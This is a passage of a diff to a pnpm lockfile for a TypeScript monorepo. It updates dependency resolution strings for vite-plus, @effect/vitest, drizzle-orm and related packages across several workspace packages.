5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vitest@5.0.5) + version: 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vitest@5.0.5) compression: specifier: ^1.8.2 - version: 1.8.2 + version: 1.8.2(supports-color@8.1.1) oxc-transform-react: specifier: ~0.152.0 version: 0.152.0 @@ -1229,10 +1228,10 @@ importers: version: 4.3.3 vite: specifier: npm:@voidzero-dev/vite-plus-core@1.3.0 - version: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + version: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) infra/relay: dependencies: @@ -1265,10 +1264,10 @@ importers: version: link:../../packages/shared alchemy: specifier: 2.0.0-beta.80 - version: 2.0.0-beta.80(patch_hash=bea1b6c0c0b23157fd5f439a1d7feff430f28ac1621ba135d8a13eeec60ccacd)(d214a55921b9b1c12454f5ddcf93cf1a) + version: 2.0.0-beta.80(patch_hash=bea1b6c0c0b23157fd5f439a1d7feff430f28ac1621ba135d8a13eeec60ccacd)(c76a5fb0ee7617c9ee4d0d91c51d5e28) drizzle-orm: specifier: 1.0.0-rc.5-ab785fc - version: 1.0.0-rc.5-ab785fc(@cloudflare/workers-types@4.20260604.1)(@effect/sql-d1@4.0.0(effect@4.0.5))(@effect/sql-pg@4.0.5(effect@4.0.5))(@effect/sql-sqlite-bun@4.0.0-rc.112(effect@4.0.5))(@effect/sql-sqlite-do@4.0.5(effect@4.0.5))(@electric-sql/pglite@0.3.15)(@libsql/client@0.17.3(bufferutil@4.1.0)(utf-8-validate@6.0.6))(bun-types@1.3.14)(effect@4.0.5)(expo-sqlite@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(pg@8.23.0)(valibot@1.2.0(typescript@7.0.2))(zod@4.4.3) + version: 1.0.0-rc.5-ab785fc(@cloudflare/workers-types@4.20260604.1)(@effect/sql-d1@4.0.0(effect@4.0.5))(@effect/sql-pg@4.0.5(effect@4.0.5))(@effect/sql-sqlite-bun@4.0.0-rc.112(effect@4.0.5))(@effect/sql-sqlite-do@4.0.5(effect@4.0.5))(@electric-sql/pglite@0.3.15)(@libsql/client@0.17.3(bufferutil@4.1.0)(utf-8-validate@6.0.6))(bun-types@1.3.14)(effect@4.0.5)(expo-sqlite@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(pg@8.23.0)(valibot@1.2.0(typescript@7.0.2))(zod@4.4.3) effect: specifier: 4.0.5 version: 4.0.5 @@ -1281,7 +1280,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 @@ -1293,10 +1292,10 @@ importers: version: 7.0.2 vite: specifier: npm:@voidzero-dev/vite-plus-core@1.3.0 - version: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + version: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) oxlint-plugin-t3code: dependencies: @@ -1312,16 +1311,16 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/client-runtime: dependencies: '@pierre/diffs': specifier: 'catalog:' - version: 1.5.2(patch_hash=2ec81ba1e8ce4681095a3473c2bf78e630417740c622720ef624febb467c25fc)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + version: 1.5.2(patch_hash=2ec81ba1e8ce4681095a3473c2bf78e630417740c622720ef624febb467c25fc)(@shikijs/themes@4.2.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@t3tools/contracts': specifier: workspace:* version: link:../contracts @@ -1358,13 +1357,13 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/three': specifier: 0.180.0 version: 0.180.0 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/contracts: dependencies: @@ -1374,10 +1373,10 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/effect-acp: dependencies: @@ -1393,13 +1392,13 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/effect-codex-app-server: dependencies: @@ -1415,13 +1414,13 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-acp: dependencies: @@ -1446,7 +1445,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 @@ -1455,7 +1454,7 @@ importers: version: link:../effect-acp vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-acp-registry: dependencies: @@ -1483,7 +1482,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/provider-testing': specifier: workspace:* version: link:../provider-testing @@ -1495,7 +1494,7 @@ importers: version: link:../effect-acp vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-core: dependencies: @@ -1514,13 +1513,13 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-cursor: dependencies: @@ -1551,7 +1550,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 